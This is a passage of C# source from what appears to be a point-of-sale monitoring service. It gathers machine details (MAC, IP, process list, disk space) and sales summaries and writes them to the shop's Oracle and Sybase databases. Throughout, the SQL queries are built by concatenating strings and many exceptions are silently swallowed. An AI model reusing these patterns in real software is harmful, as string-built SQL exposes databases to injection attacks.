_insertvalues += (_insertvalues == "" ? "" : ",") + "(" + maxid + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "'," + _updatedata.Rows[i]["ID"].ToString() + ",DATETIME('" + _updatedata.Rows[i]["ENDDATE"].ToString() +
"')," + _datetype + ",DATETIME('" + DateTime.Now.ToString() + "'),1)";
}
if ((i + 1) % 10 == 0 && _insertvalues != "")
{
try
{
Lib.SyBaseHelper.ExecuteSqlTran(_insertsql + _insertvalues);
//OdbcCommand _OdbcCommand = new OdbcCommand(_insertsql + _insertvalues, _OdbcConnection);
//_OdbcCommand.ExecuteNonQuery();
_insertvalues = "";
}
catch
{
_insertvalues = "";
}
try
{
maxid = decimal.Parse(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(dataupdate_id) from t_dataupdate").Tables[0].Rows[0][0].ToString());
}
catch
{
maxid = 0;
}
}
else if (i + 1 == _updatedata.Rows.Count && _insertvalues != "")
{
try
{
//OdbcCommand _OdbcCommand = new OdbcCommand(_insertsql + _insertvalues, _OdbcConnection);
//_OdbcCommand.ExecuteNonQuery();
Lib.SyBaseHelper.ExecuteSqlTran(_insertsql + _insertvalues);
_insertvalues = "";
}
catch
{
_insertvalues = "";
}
}
}
}
//_OdbcConnection.Close();
}
}
}
#endregion
}
#endregion
#region 测试连接 (旧)
private void btnCheck_Click_1(object sender, EventArgs e)
{
try
{
OracleConnection conn = this.QueryOracle();
conn.Open();
conn.Close();
conn.Dispose();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog(ex.Message);
}
}
#endregion
#region 计算机基本信息
private void MyComputer_Load(object sender, EventArgs e)
{
base.Hide();
bool isContents = false;
OracleConnection conn = QueryOracle();
DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString());
#region //获取计算机名
lblDan.Text = null;
List Address = new List();
Stopwatch watch = Stopwatch.StartNew();
string Hostname = Dns.GetHostName();
lblComPName.Text = Hostname;
#endregion
#region //获取MAC地址
ManagementClass mc = new ManagementClass("Win32_NetworkAdapterConfiguration");
ManagementObjectCollection moc = mc.GetInstances();
//foreach (ManagementObject mo in moc)
//{
// if ((bool)mo["IPEnabled"] == true)
// {
// lblMACAdress.Text = mo["MacAddress"].ToString();
// break;
// }
//}
string key = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
string macAddress = string.Empty;
try
{
NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface adapter in nics)
{
if (adapter.NetworkInterfaceType == NetworkInterfaceType.Ethernet
&& adapter.GetPhysicalAddress().ToString().Length != 0)
{
string fRegistryKey = key + adapter.Id + "\\Connection";
RegistryKey rk = Registry.LocalMachine.OpenSubKey(fRegistryKey, false);
if (rk != null)
{
string fPnpInstanceID = rk.GetValue("PnpInstanceID", "").ToString();
int fMediaSubType = Convert.ToInt32(rk.GetValue("MediaSubType", 0));
if (fPnpInstanceID.Length > 3 &&
fPnpInstanceID.Substring(0, 3) == "PCI")
{
macAddress = adapter.GetPhysicalAddress().ToString();
for (int i = 1; i < 6; i++)
{
macAddress = macAddress.Insert(3 * i - 1, ":");
}
lblMACAdress.Text = macAddress;
break;
}
}
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("MAC获取:" + ex.Message);
}
#endregion
#region //获取IP地址
try
{
IPAddress[] addressList = Dns.GetHostEntry(Dns.GetHostName()).AddressList;
for (int i = 0; i < addressList.Length; i++)
{
IPAddress _IPAddress = addressList[i];
if (_IPAddress.AddressFamily.ToString() == "InterNetwork")
{
lblIPAdress4.Text = _IPAddress.ToString();
}
}
}
catch
{
lblIPAdress4.Text = "127.0.0.1";
}
#endregion
#region //获取进程信息
List list = new List();
string user = Environment.UserName;
Pro pr = new Pro();
Process[] process = Process.GetProcesses();
foreach (Process p in process)
{
if (Pro.GetProcessUserName(p.Id) == user)
{
list.Add(p.ProcessName);
}
}
string prolist = string.Join("|", list.ToArray());
lblProcess.Text = prolist.ToString();
#endregion
#region 插入收银机信息
try
{
string _mac = GetMacAddressByNetworkInformation();
if (_mac != string.Empty && lblIPAdress4.Text != "127.0.0.1" && lblIPAdress4.Text != "IPv4")
{
conn.Open();
string sqlcheck = "select * from " + dbname + ".T_MACHINEINFO where MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand ocmchenk = new OracleCommand(sqlcheck, conn);
OracleDataReader concheck = ocmchenk.ExecuteReader();
if (!concheck.HasRows)
{
string sqlsave = @"insert into " + dbname + ".T_MACHINEINFO values (" + dbname + ".SEQ_MACHINEINFO.Nextval,'" + serverpartcode + "','"
+ shopcode + "','" + dbip + "','" + machinecode + "','" + lblComPName.Text + "','" + _mac + "','" + lblIPAdress4.Text + "',to_date('"
+ conndate + "','YYYY-MM-DD hh24:mi:ss'),1)";
OracleCommand ocm = new OracleCommand(sqlsave, conn);
ocm.ExecuteNonQuery();
}
conn.Close();
//conn.Dispose();
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("插入收银机信息:" + ex.Message);
}
#endregion
#region 获取硬盘信息
Hardisk hard = new Hardisk();
try
{
string j = hard.GetHDIndex();
lblHardDiskInfo.Text = hard.GetHDIndex();
List listInfo = GetDiskListInfo();
if (listInfo != null && listInfo.Count > 0)
{
foreach (hardiskPartition disk in listInfo)
{
harddiskinfo.Items.Add(string.Format("{0}总空间:{1} GB,未用:{2} GB", disk.PartitionName, ManagerDoubleValue(disk.SumSpace, 1), ManagerDoubleValue(disk.FreeSpace, 1)));
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("获取硬盘信息:" + ex.Message);
}
#endregion
#region 修改IP,网关
//try
//{
// conn.Open();
// isContents = true;
// if (isContents)
// {
// string MACHINEINFOStr = "SELECT * FROM " + dbname + ".T_MACHINEINFO WHERE MACHINE_MACADDRESS = '" + lblMACAdress.Text + "'";
// OracleCommand MACHINEINFO = new OracleCommand(MACHINEINFOStr, conn);
// OracleDataReader machineinfoRead = MACHINEINFO.ExecuteReader();
// if (machineinfoRead.HasRows)
// {
// while (machineinfoRead.Read())
// {
// string MACHINE_IP = machineinfoRead["MACHINE_IP"].ToString();
// string SERVER_IP = machineinfoRead["SERVER_IP"].ToString();
// if (lblIPAdress4.Text != MACHINE_IP)
// {
// ManagementBaseObject inPar = null;
// ManagementBaseObject outPar = null;
// foreach (ManagementObject mo in moc)
// {
// //如果没有启用IP设置的网络设备则跳过
// if (!(bool)mo["IPEnabled"])
// continue;
// //设置IP地址和掩码
// inPar = mo.GetMethodParameters("EnableStatic");
// inPar["IPAddress"] = MACHINE_IP.ToString();
// inPar["SubnetMask"] = "255.0.0.0";
// outPar = mo.InvokeMethod("EnableStatic", inPar, null);
// //设置网关地址
// inPar = mo.GetMethodParameters("SetGateways");
// inPar["DefaultIPGateway"] = SERVER_IP.ToString();
// outPar = mo.InvokeMethod("SetGateways", inPar, null);
// }
// }
// }
// }
// conn.Close();
// conn.Dispose();
// }
//}
//catch (Exception ex)
//{
// LogHelper.WriteServiceLog("修改IP:" + ex.Message);
//}
#endregion
}
#endregion
#region 运行日志
private bool ActiveLogging()
{
string _strsql = "select max(activelogging_id) from t_activelogging";
string _machinename = Dns.GetHostName();
string _mac = GetMacAddressByNetworkInformation();
string _ip = GetAddressIP();
int maxid = 0;
TimeSpan ts = DateTime.Now.Subtract(_RunDateTime);
string _ts = Convert.ToDecimal(ts.TotalSeconds).ToString("F0");
//if(decimal.Parse(_ts)%2==0)
//{
// KillExe("cmd.exe");
//}
if (decimal.Parse(_ts) >= 300)
{
PresenterCheck();
//CommodityUpdate();
try
{
maxid = Convert.ToInt32(Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0]);
}
catch
{
maxid = 0;
}
try
{
string _insertany = "INSERT INTO T_ACTIVELOGGING (ACTIVELOGGING_ID,SERVERPARTCODE, SHOPCODE," +
"MACHINECODE,MACHINENAME,MACADDRESS,MACHINE_IP,LOGGING_DATE,RUNNING_INTERVAL)" +
" VALUES ( " + (maxid + 1) + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE +
"','" + _machinename + "','" + _mac + "','" + _ip + "',DATETIME('" + DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss") +
"')," + _ts + ")";
Lib.SyBaseHelper.ExecuteSqlTran(_insertany);
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("运行日志:" + ex.Message);
return false;
}
return true;
}
else
{
return false;
}
}
#endregion
#region 营业信息采集
private void BusinessTime(bool isNewSystem = false)
{
DataTable _selldata;
string _sqlstr, ticket_startinfo = "", ticket_endinfo = "", commodity = "", SellDetail = "";
int maxid = 0;
string _startdate = "", _enddate = "";
// 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount
decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0;
try
{
if (isNewSystem)
{
_sqlstr = string.Format("SELECT STARTDATE AS ENDACCOUNT_STARTDATE,ENDDATE AS ENDACCOUNT_DATE " +
"FROM T_ENDACCOUNT_NEW WHERE ENDACCOUNT_CODE = ( SELECT TOP 1 ENDACCOUNT_CODE " +
"FROM T_ENDACCOUNT_NEW WHERE ENDDATE IS NOT NULL AND ENDDATE < NOW() AND " +
"SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND ENDACCOUNT_TYPE <> 5 " +
"ORDER BY ENDACCOUNT_ID DESC)", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
else
{
_sqlstr = "SELECT ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE FROM T_ENDACCOUNT " +
"WHERE ENDACCOUNT_DATE = ( SELECT MAX(ENDACCOUNT_DATE) FROM T_ENDACCOUNT " +
"WHERE ENDACCOUNT_DATE IS NOT NULL AND ENDACCOUNT_DATE < NOW() AND " +
"SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "' AND FLAG <> 5 ) ORDER BY ENDACCOUNT_ID DESC";
}
DataTable dt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
if (dt.Rows.Count > 0)
{
string startdate = dt.Rows[0]["ENDACCOUNT_STARTDATE"].ToString();
string enddate = dt.Rows[0]["ENDACCOUNT_DATE"].ToString();
try
{
if (isNewSystem)
{
_sqlstr = string.Format("SELECT STARTDATE AS ENDACCOUNT_STARTDATE,ENDDATE AS ENDACCOUNT_DATE " +
"FROM T_ENDACCOUNT_NEW WHERE ENDACCOUNT_CODE = ( SELECT TOP 1 ENDACCOUNT_CODE " +
"FROM T_ENDACCOUNT_NEW WHERE ENDDATE IS NOT NULL AND ENDDATE < DATETIME('{3}') AND " +
"SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND ENDACCOUNT_TYPE <> 5 " +
"ORDER BY ENDACCOUNT_ID DESC)",
_QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode, enddate);
}
else
{
_sqlstr = "SELECT ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE FROM T_ENDACCOUNT " +
"WHERE ENDACCOUNT_DATE = ( SELECT MAX(ENDACCOUNT_DATE) FROM T_ENDACCOUNT " +
"WHERE ENDACCOUNT_DATE IS NOT NULL AND ENDACCOUNT_DATE < DATETIME('" + enddate +
"') AND SERVERPARTCODE = '" + SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "' AND FLAG <> 5 ) ORDER BY ENDACCOUNT_ID DESC";
}
DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
_startdate = _DataTable.Rows[0]["ENDACCOUNT_STARTDATE"].ToString();
_enddate = _DataTable.Rows[0]["ENDACCOUNT_DATE"].ToString();
}
catch { }
decimal _interval;
string _Valuestr = "SELECT CONFIGURATION_NAME,CONFIGURATION_VALUES FROM T_CONFIGURATION " +
"WHERE LOWER(CONFIGURATION_NAME) = LCASE('SHUTDOWN_INTERVAL')";
try
{
using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_Valuestr).Tables[0])
{
if (_DataTable.Rows.Count > 0)
{
_interval = decimal.Parse(_DataTable.Rows[0]["configuration_values"].ToString()) * 60;
}
else
{
_interval = 1800;
}
}
}
catch
{
_interval = 1800;
}
string _shutdown = "";// GetLogDateTime("System", 6006, DateTime.Parse(enddate), true);
if (_shutdown == "")
{
string _strsql = "SELECT MAX(LOGGING_DATE) FROM T_ACTIVELOGGING " +
"WHERE LOGGING_DATE > DATETIME('" + enddate + "') AND LOGGING_DATE < ( " +
"SELECT MIN(LOGGING_DATE) FROM T_ACTIVELOGGING " +
"WHERE LOGGING_DATE > DATETIME('" + enddate + "') AND RUNNING_INTERVAL > " + _interval + ")";
_shutdown = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0].ToString();
}
string _shutup = "";// GetLogDateTime("System", 6005, DateTime.Parse(startdate), false);
if (_shutup == "")
{
string _strsql = "SELECT MAX(LOGGING_DATE) FROM T_ACTIVELOGGING WHERE LOGGING_DATE < DATETIME('" + startdate + "')" +
(_enddate == "" ? "" : " AND LOGGING_DATE > DATETIME('" + _enddate + "')") + " AND RUNNING_INTERVAL > " + _interval;
_shutup = ESSupport.Lib.SyBaseHelper.QueryOdbc(_strsql).Tables[0].Rows[0][0].ToString();
}
string _duration = "";
string _string = string.Format("SELECT SUM(RUNNING_INTERVAL) FROM T_ACTIVELOGGING " +
"WHERE LOGGING_DATE BETWEEN DATETIME('{0}') AND DATETIME('{1}') AND RUNNING_INTERVAL > {2}",
startdate, enddate, _interval);
using (DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_string).Tables[0])
{
TimeSpan ts = Convert.ToDateTime(enddate).Subtract(Convert.ToDateTime(startdate));
string _ts = Convert.ToDecimal(ts.TotalSeconds).ToString("F0");
_duration = _DataTable.Rows[0][0].ToString();
if (_duration != "")
_duration = ((Convert.ToDecimal(_ts) - (Convert.ToDecimal(_duration))) / 3600).ToString("F2");
else
_duration = (Convert.ToDecimal(_ts) / 3600).ToString("F2");
}
string sellstartdate = Selldata_Date(startdate, enddate, "MIN", isNewSystem);
string sellenddate = Selldata_Date(startdate, enddate, "MAX", isNewSystem);
ticket_startinfo = Ticket_Info(startdate, enddate, "MIN", isNewSystem);
ticket_endinfo = Ticket_Info(startdate, enddate, "MAX", isNewSystem);
_sqlstr = "select count(*) from t_businesstime where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate +
"') and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";
if (Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0].Rows[0][0]) > 0)
{
_sqlstr = "select * from t_businesstime where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate +
"') and serverpartcode = '" + SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";
DataTable _DataTable = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
string strupdate = "update t_businesstime set businesstime_state = 0 ";
if (_shutup != "")
{
strupdate += ",business_opentime = datetime('" + _shutup + "')";
}
if (_shutdown != "")
{
strupdate += ",business_closetime = datetime('" + _shutdown + "')";
}
if (_duration != "")
{
strupdate += ",business_time = " + _duration;
}
//else
//{
// TimeSpan ts = DateTime.Now.Subtract(Convert.ToDateTime(_DataTable.Rows[0]["business_closetime"]));
// if (ts.TotalSeconds < 300)
// {
// strupdate += ",business_closetime = datetime('" + _shutdown + "')";
// }
//}
if (sellstartdate != "")
{
strupdate += ",business_starttime = datetime('" + sellstartdate + "'),business_startinfo = '" + ticket_startinfo + "'";
}
if (sellenddate != "")
{
strupdate += ",business_endtime = datetime('" + sellenddate + "'),business_endinfo = '" + ticket_endinfo + "'";
}
strupdate += " where endaccount_startdate = datetime('" + startdate + "') and endaccount_date = datetime('" + enddate + "') and serverpartcode = '" +
SERVERPARTCODE + "' and shopcode = '" + SHOPCODE + "' and machinecode = '" + MACHINECODE + "'";
try
{
Lib.SyBaseHelper.ExecuteSqlTran(strupdate);
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("营业信息更新:" + ex.Message);
}
}
else
{
try
{
try
{
maxid = Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(businesstime_id) from t_businesstime").Tables[0].Rows[0][0]);
}
catch
{
maxid = 0;
}
string _insertany = "INSERT INTO T_BUSINESSTIME(BUSINESSTIME_ID,SERVERPARTCODE,SHOPCODE," +
"MACHINECODE,ENDACCOUNT_STARTDATE,ENDACCOUNT_DATE,BUSINESS_OPENTIME," +
"BUSINESS_CLOSETIME,BUSINESS_STARTTIME,BUSINESS_ENDTIME,BUSINESS_STARTINFO," +
"BUSINESS_ENDINFO,BUSINESSTIME_STATE,BUSINESS_TIME) VALUES(" + (maxid + 1) +
",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE + "','" + startdate + "','" + enddate +
"'," + (_shutup == "" ? "null" : "'" + _shutup + "'") + "," + (_shutdown == "" ? "null" : "'" + _shutdown +
"'") + "," + (sellstartdate == "" ? "null" : "'" + sellstartdate + "'") + "," + (sellenddate == "" ? "null" : "'" + sellenddate + "'") +
"," + (ticket_startinfo == "" ? "null" : "'" + ticket_startinfo + "'") + "," + (ticket_endinfo == "" ? "null" : "'" + ticket_endinfo + "'") +
",0," + (_duration == "" ? "null" : _duration) + ")";
string strUpdate = "UPDATE T_BUSINESSTIME SET BUSINESSTIME_STATE = 2 " +
"WHERE ENDACCOUNT_STARTDATE <> DATETIME('" + startdate +
"') AND ENDACCOUNT_DATE <> DATETIME('" + enddate +
"') AND SERVERPARTCODE = '" + SERVERPARTCODE +
"' AND SHOPCODE = '" + SHOPCODE +
"' AND MACHINECODE = '" + MACHINECODE + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(new List { _insertany, strUpdate });
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("营业信息采集:" + ex.Message);
}
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("BusinessTime:" + ex.Message);
}
}
#endregion
#region 数据采集
///
/// 数据采集
///
///
///
private void timer_datacollection_Tick(object sender, EventArgs e)
{
string _shutup = GetLogDateTime("System", 6005, DateTime.Now, false);
if (_shutup == "")
_shutup = _DataDateTime.ToString("yyyy/MM/dd HH:mm:ss");
string _sqlstr, ticket_info = "", commodity = "", SellDetail = "";
int maxid = 0;
// 单品数:goods_count,客单数:ticket_count,销售数:sell_count,销售额:fact_sum,单笔优惠:offprice,单笔金额:fact_amount
decimal goods_count = 0, ticket_count = 0, sell_count = 0, fact_sum = 0, offprice = 0, fact_amount = 0;
if (ActiveLogging())
{
_RunDateTime = DateTime.Now;
}
bool isNewSystem = _QualityHelper.ConfigurationValues("NewSystem", "0") == "1";
try
{
DateTime datacollection = DateTime.Parse(_shutup);
if ((DateTime.Now - datacollection).Minutes % 10 == 0 && ISdatacollection == false)
//if ((DateTime.Now.Minute.ToString().PadLeft(2, '0') == "00" || DateTime.Now.Minute.ToString().PadLeft(2, '0') == "30") && ISdatacollection == false)
{
string _strServerPartCode = _QualityHelper.serverpartcode;
string _strShopCode = _QualityHelper.shopcode;
string _strServiceIP = _QualityHelper.dbip;
string _strServicePort = _QualityHelper.serviceport;
string _strServicePort2 = _QualityHelper.ConfigurationValues("service_port2", "7080");
string _strDataService = _QualityHelper.ConfigurationValues("DataServicePort", "7080");
string _strBusinessType = "";
try
{
_strBusinessType = Lib.SyBaseHelper.QueryOdbc(string.Format("SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " +
"WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}'", _strServerPartCode, _strShopCode)).Tables[0].Rows[0]["BUSINESSTYPE"].ToString();
}
catch { }
try
{
PayCheck(_QualityHelper.dbip, _QualityHelper.serviceport, _QualityHelper.serverpartcode,
_QualityHelper.shopcode, _QualityHelper.machinecode, DateTime.Today.AddDays(-3));
}
catch { }
try
{
MobilePayConfigUpdate(_strServiceIP, new string[] { _strDataService, _strServicePort, _strServicePort2 }, _strServerPartCode, _strBusinessType);
}
catch { }
BusinessTime(isNewSystem);
SoftCheck();
string _mac = GetMacAddressByNetworkInformation();
if (_mac == string.Empty)
return;
ISdatacollection = true;
DateTime _datacollection_date = DateTime.Now;
if (isNewSystem)
{
_sqlstr = string.Format("SELECT COUNT(DISTINCT (A.COMMODITY_CODE)) AS GOODS_COUNT," +
"COUNT(DISTINCT(A.SELLMASTER_CODE)) AS TICKET_COUNT,ISNULL(SUM(A.SELLDETAILS_COUNT), 0) AS SELL_COUNT," +
"ISNULL(SUM(A.SELLDETAILS_AMOUNT), 0) AS FACT_SUM FROM T_SELLDETAILS A, T_SELLMASTER B " +
"WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE AND B.SERVERPARTCODE = '{0}' AND B.SHOPCODE = '{1}' " +
"AND B.MACHINECODE = '{2}' AND B.SELLMASTER_DATE BETWEEN DATETIME('{3}') AND NOW()", _QualityHelper.serverpartcode,
_QualityHelper.shopcode, _QualityHelper.machinecode, _datacollection_date.AddMinutes(-10).ToString("yyyy/MM/dd HH:mm"));
}
else
{
_sqlstr = "SELECT COUNT(DISTINCT(COMMODITY_CODE)) AS GOODS_COUNT," +
"COUNT(DISTINCT(TICKETCODE)) AS TICKET_COUNT,ISNULL(SUM(SELLCOUNT),0) AS SELL_COUNT," +
"ISNULL(SUM(FACTAMOUNT),0) AS FACT_SUM FROM T_SELLDATA WHERE SERVERPARTCODE = '" +
SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" +
MACHINECODE + "' AND SELLDATA_DATE BETWEEN DATETIME('" +
_datacollection_date.AddMinutes(-10).ToString("yyyy/MM/dd HH:mm") + "') AND NOW()";
}
DataTable _dt = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
goods_count = Convert.ToDecimal(_dt.Rows[0]["GOODS_COUNT"].ToString());
ticket_count = Convert.ToDecimal(_dt.Rows[0]["TICKET_COUNT"].ToString());
sell_count = Convert.ToDecimal(_dt.Rows[0]["SELL_COUNT"].ToString());
fact_sum = Convert.ToDecimal(_dt.Rows[0]["FACT_SUM"].ToString());
if (goods_count > 0)
{
if (isNewSystem)
{
_sqlstr = string.Format("SELECT B.SELLMASTER_DATE AS SELLDATA_DATE,B.TICKET_CODE AS TICKETCODE," +
"B.SELLWORKER_NAME AS SELLWORKERNAME,A.COMMODITY_CODE," +
"A.SELLDETAILS_COUNT AS SELLCOUNT,A.SELLDETAILS_PRICE AS SELLPRICE," +
"A.SELLDETAILS_OFFPRICE AS OFFPRICE,A.SELLDETAILS_AMOUNT AS FACTAMOUNT " +
"FROM T_SELLDETAILS A,T_SELLMASTER B WHERE A.SELLMASTER_CODE = B.SELLMASTER_CODE " +
"AND B.SELLMASTER_CODE = ( SELECT TOP 1 SELLMASTER_CODE FROM T_SELLMASTER " +
"WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}' AND MACHINECODE = '{2}' AND " +
"SELLMASTER_DATE BETWEEN TODAY() AND NOW() ORDER BY ISNULL(SELLMASTER_AMOUNT,0) DESC," +
"SELLMASTER_DATE DESC)", _QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.machinecode);
}
else
{
_sqlstr = "SELECT A.SELLDATA_DATE,A.TICKETCODE,B.SELLWORKERNAME,A.COMMODITY_CODE," +
"A.SELLCOUNT,A.SELLPRICE,A.OFFPRICE,A.FACTAMOUNT FROM T_SELLDATA A,T_SELLWORKER B " +
"WHERE B.SELLWORKERCODE=A.WORKERCODE AND B.SERVERPARTCODE=A.SERVERPARTCODE AND " +
"A.SELLDATA_DATE = ( SELECT TOP 1 SELLDATA_DATE FROM T_SELLDATA WHERE SERVERPARTCODE = '" +
SERVERPARTCODE + "' AND SHOPCODE = '" + SHOPCODE + "' AND MACHINECODE = '" + MACHINECODE +
"' AND SELLDATA_DATE BETWEEN TODAY() AND NOW() GROUP BY SELLDATA_DATE " +
"ORDER BY ISNULL(SUM(FACTAMOUNT),0) DESC,SELLDATA_DATE DESC)";
}
DataTable _selldata = ESSupport.Lib.SyBaseHelper.QueryOdbc(_sqlstr).Tables[0];
if (_selldata.Rows.Count > 0)
{
foreach (DataRow dr in _selldata.Rows)
{
commodity += (commodity == "" ? "" : ",") + dr["COMMODITY_CODE"].ToString();
SellDetail += (SellDetail == "" ? "" : ",") + "(" + dr["SELLCOUNT"].ToString() + "*" + dr["SELLPRICE"].ToString() + ")";
offprice += Convert.ToDecimal(dr["OFFPRICE"]);
fact_amount += Convert.ToDecimal(dr["FACTAMOUNT"]);
}
ticket_info = Convert.ToDateTime(_selldata.Rows[0]["SELLDATA_DATE"]).ToString("yyyy/MM/dd HH:mm:ss") +
"|" + _selldata.Rows[0]["TICKETCODE"].ToString() + "|" + _selldata.Rows[0]["SELLWORKERNAME"].ToString() +
"|" + commodity + "|" + SellDetail + "|" + offprice.ToString("F2") + "|" + fact_amount.ToString("F2");
string _insert = "INSERT INTO " + dbname + ".T_DATACOLLECTION(DATACOLLECTION_ID,SERVERPARTCODE," +
"SHOPCODE,MACHINECODE,MACADDRESS,MACHINENAME,DATACOLLECTION_TYPE,DATACOLLECTION_DATE," +
"TOTAL_COUNT,TOTALSELL_AMOUNT,TICKET_COUNT,TICKET_INFO) VALUES (" + dbname +
".SEQ_DATACOLLECTION.NEXTVAL,'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE +
"','" + _mac + "','" + GetMachineName() + "',1000,TO_DATE('" + _datacollection_date.ToString("yyyy/MM/dd HH:mm:ss") +
"','YYYY/MM/DD HH24:MI:SS')," + sell_count + "," + fact_sum + "," + ticket_count + ",'" + ticket_info + "')";
OracleConnection conn = QueryOracle();
try
{
conn.Open();
OracleCommand ocm = new OracleCommand(_insert, conn);
ocm.ExecuteNonQuery();
conn.Close();
conn.Dispose();
}
catch (Exception ex)
{
conn.Close();
conn.Dispose();
LogHelper.WriteServiceLog("数据采集上传:" + ex.Message);
}
try
{
try
{
maxid = Convert.ToInt32(ESSupport.Lib.SyBaseHelper.QueryOdbc("SELECT MAX(DATACOLLECTION_ID) " +
"FROM T_DATACOLLECTION").Tables[0].Rows[0][0]);
}
catch
{
maxid = 0;
}
string _insertany = "INSERT INTO T_DATACOLLECTION(DATACOLLECTION_ID,SERVERPARTCODE," +
"SHOPCODE,MACHINECODE,MACADDRESS,MACHINENAME,DATACOLLECTION_TYPE," +
"DATACOLLECTION_DATE,TOTAL_COUNT,TOTALSELL_AMOUNT,TICKET_COUNT,TICKET_INFO) " +
"VALUES(" + (maxid + 1) + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINECODE +
"','" + _mac + "','" + GetMachineName() + "',2000,DATETIME('" + _datacollection_date.ToString("yyyy/MM/dd HH:mm:ss") +
"')," + sell_count + "," + fact_sum + "," + ticket_count + ",'" + ticket_info + "')";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(_insertany);
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("数据采集本地保存:" + ex.Message);
}
}
}
}
else if ((DateTime.Now - datacollection).Minutes % 10 != 0)
{
if (ISdatacollection)
ISdatacollection = false;
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("数据采集:" + ex.Message);
}
}
#endregion
#region 版本信息校验
private void SoftCheck()
{
DataSet _dataSet = new DataSet();
using (OracleConnection _oracleconn = QueryOracle())
{
try
{
string _select = string.Format("SELECT SF_TYPE,SF_BUILD,SF_CHECK,SF_CHECKDAY " +
"FROM {0}.T_SYSCODE WHERE SERVERPARTCODE = '{1}'", dbname, SERVERPARTCODE);
OracleDataAdapter _OracleDataAdapter = new OracleDataAdapter(_select, _oracleconn);
_OracleDataAdapter.Fill(_dataSet, "T_SYSCODE");
DataTable _dataTable = _dataSet.Tables["T_SYSCODE"];
if (_dataTable.Rows.Count > 0)
{
string sf_type = _dataTable.Rows[0]["SF_TYPE"].ToString();
string sf_build = _dataTable.Rows[0]["SF_BUILD"].ToString();
string sf_check = _dataTable.Rows[0]["SF_CHECK"].ToString();
string sf_checkday = _dataTable.Rows[0]["SF_CHECKDAY"].ToString();
if (sf_type != "")
{
sf_type = System.RealEstate_Extend.ToDecrypt(sf_type);
UpdateConfigUration("sf_type", sf_type);
}
if (sf_build != "")
{
sf_build = System.RealEstate_Extend.ToDecrypt(sf_build);
UpdateConfigUration("sf_build", sf_build);
}
if (sf_check != "")
{
sf_check = System.RealEstate_Extend.ToDecrypt(sf_check);
UpdateConfigUration("sf_check", sf_check);
}
if (sf_checkday != "")
{
sf_checkday = System.RealEstate_Extend.ToDecrypt(sf_checkday);
UpdateConfigUration("sf_checkday", sf_checkday);
}
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("系统数据传输校验:" + ex.Message);
}
}
}
#endregion
private double ManagerDoubleValue(double _value, int Length)
{
if (Length < 0)
{
Length = 0;
}
return Math.Round(_value, Length);
}
///
/// 获取硬盘使用信息
///
///
private List GetDiskListInfo()
{
List list = null;
try
{
SelectQuery selectQuery = new SelectQuery("select * from win32_logicaldisk");
ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery);
ManagementObjectCollection diskcollection = searcher.Get();
